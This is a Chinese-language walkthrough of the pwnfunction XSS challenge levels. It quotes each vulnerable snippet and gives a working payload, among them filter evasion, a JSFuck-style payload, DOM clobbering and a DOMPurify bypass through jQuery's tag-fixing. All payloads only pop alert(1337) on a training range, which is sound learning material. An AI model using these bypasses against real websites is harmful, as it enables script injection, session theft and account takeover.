XSS Pwn 闯关
这里是靶场: https://xss.pwnfunction.com/
规则是不能有用户交互, 只能用 alert
弹出
Ma Spaghet
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
这是第一关, 直接构造下面 payload 就可以:
?somebody=<img src=a onerror=alert(1337)>
或者:
?somebody=<svg onload=alert(1337)>
只要支持事件的都可以
Jefff
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
这里是使用的 eval
执行, 可以直接使用 -
连字符
?jeff="-alert(1337)-"
或者可以用 ;
?jeff=";alert(1337);"
Ugandan Knuckles
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
这里过滤了 <>[]
符号, 但实际上我们并不需要用到这些符号
?wey="onfocus=alert(1337) autofocus="
Ricardo Milos
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
这里是一个提交, 直接使用 javascript
协议
?ricardo=javascript:alert(1337)
Ah That's Hawt
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
这里过滤了一些符号, 使用 html 实体编码 -> url 编码
?markassbrownlee=<svg onload=alert%26%23x28%3B1337%26%23x29%3B>
或者使用 location
:
?markassbrownlee=<svg onload=location="javascript:alert%25281337%2529">
Ligma
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这里过滤了字母数字, 使用自增构造字符串
?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()
Mafia
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
这里过滤了符号和 alert
, 并且字符限制长度 50
使用 confirm
绕过
?mafia=confirm(1337)
不过题目要求是用 alert
, 那这里肯定还是可以用 alert
的, 只不过需要变换一下
在 js 中可以直接把一个字符串转换成数字
这里没有过滤数字和其他函数, 我们就把 alert
转成数字在 toString
回去
使用以下语句可以构造:
parseInt('alert',30)
结果为: 8680439
这里使用 30 进制的原因是, js 的转换规则是直接将字符转换为对应的数字
比如 0-9
十进制就是 0-9
而 a
就是 10
, 那么这里 t
是 30
, 所以必须 30 以上的进制
payload:
?mafia=eval(8680439..toString(30))(1337)
或者使用函数:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
还可以使用 #
:
?mafia=eval(location.hash.slice(1))
需要在 URL 上加 #alert(1337)
, 加到最后
Ok, Boomer
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
这里使用了 DOMPurity
框架, 看似没有可利用的点
DOM Clobbering
这个 ok
就佷可疑, 全局并没有这个函数, 所以这里就是 DOM 破坏了, 已经提示得很明显
所谓 DOM 破坏 (DOM Clobbering), 实际上有点类似于变量覆盖, 或者有 rust 中的 shadow 机制
尝试下面的代码:
<img id=a>
<img name=b>
<script>
console.log(a);
console.log(b);
console.log(document.a);
console.log(document.b);
console.log(window.a);
console.log(window.b);
</script>
你会发现其中只有 document.a
是 undefined
, 而其他打打印出了标签
HTML5规范文档中指出: 如果一个元素符合下面两条规则中的任一条, 则 window 对象中必须要有与之对应的一个属性, 属性值就是这个对象
- 如果一个元素拥有 ID 属性,那么 ID 属性的属性值就会成为 window 对象的属性名.
- 如果一个元素拥有 name 属性,那么 name 属性的属性值就会成为 window 对象的属性名. 但这个元素的标签名必须是: a, applet, area, embed, form, frame, frameset, iframe, img, object, 其中的一个.
而在早期的设计中, 为了配合表单元素, name
被大量使用, 于是 document
也会自动挂载, 对于 id
并没有这种特性
1 和 2 实际上是省略了 window
所以可以利用这种特性创造出一个 ok
的全局变量, 并且会覆盖原有的 ok
toString
但是这还远远不够, 先想想我们现在需要什么, 很明显我们需要一段可执行的 js 代码
我们可以定义变量了, 但是这个变量是一个 Element
对象, 熟悉编程的小伙伴应该就知道基本都会有 Object.toString
的用法, 这里就需要知道哪个标签 toString()
是返回字符串的, 可以用 fuzz 测试
刚好有一个 <a> 标签, 调用 toString()
返回的是其 href
属性中的值
于是我们可以如下:
<a id=ok href=javascript:alert(1337)>
这里必须要写 uri 才可以被识别
到这里看似可以了, 但是会发现还是不行, 因为其中用了 DOMPurity
框架, 而 javascript
并不被允许, 会被其过滤
绕过 DOMPurify
这里就要看看它的过滤规则是怎么样的了
可以看到是白名单过滤, 于是构造下面的 payload:
?boomer=<a id=ok href=tel:alert(1337)>
WW3
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
先梳理一下代码, 第一个 script 是一些工具函数, 为第二个提供服务
第二个 script 在 text
和 img
不为空时使用了 DOMPurify
框架插入了 text. 使用自定义的 escape
函数插入了 img
, 这个函数是有过滤的, 并且在图片加载完成时会调用 memeGen(this, notify)
我们仔细观察一些 memeGen()
, 这里有一个危险调用: $('#notify').html(html)
, JQuery 中的 html()
方法在内部实际上调用的是 innerHTML()
, 说不定可以从这里入手, 但发现整个程序都只会传入 notify = false
, 也就是不会触发这一段代码, 那我们就可以利用 DOM 破坏, 覆盖这个 notify
变量来让执行
DOM 破坏
知道了要 DOM 破坏, 但是这里 img
肯定是要输入可用图片 url 的, 否则无法触发 onload
, 所以我们只能考虑 text
, 但是 img
标签在 DOMPurify.sanitize(text)
之前, 如果从上往下依次加载肯定就错过时机了, 但是要知道 DOM 是异步加载的, 曾经我就遇到过 DOM 异步加载导致的问题, 也就是说在加载图片时不会阻塞, 会继续加载下面的内容
那么我们也就知道了要构建一下类似的 payload:
?text=<img name=notify onload=alert(1337)>&img=https://i.imgur.com/PdbDexI.jpg
这里并不能用
<a>
, 其name
属性已经被移除了, 如果使用id
属性, 会和前面的<div id="notify"></div>
产生冲突
这样就完成了 DOM 破坏, 但是由于 JQuery 和 DOMPurify 对 text
进行了过滤, 首先我们就不能随意用标签和属性, 不能使用 onload
绕过 DOMPurify
这里用了 JQuery 的 html()
方法, 这个方法实际上在内部调用了 innerHTML()
, 但有趣的地方就在于 html()
对于没有闭合的不合法的标签会自动修正
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
}
...
})
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
从这个正则可以看到, 如果匹配到了没有闭合的非自闭合标签, 会自动将其修复闭合, 比如 <style/>
会变成 <style></style>
那如果是: <style><style/><script>alert(1337)//
就会变成
<style>
<style>
</style>
<script>alert(1337)//
在 DOMPurify.sanitize(text)
传入时 DOMPurify 在处理是, <script>
标签被当作 <style>
标签的 RCDATA 值处理了, 所以并不会清理. 而在 html()
方法中将标签修复, 从而使 <script>
逃逸了出来
于是就可以构造下面的 payload:
?text=<img name=notify><style><style/><script>alert(1337)//&img=https://i.imgur.com/PdbDexI.jpg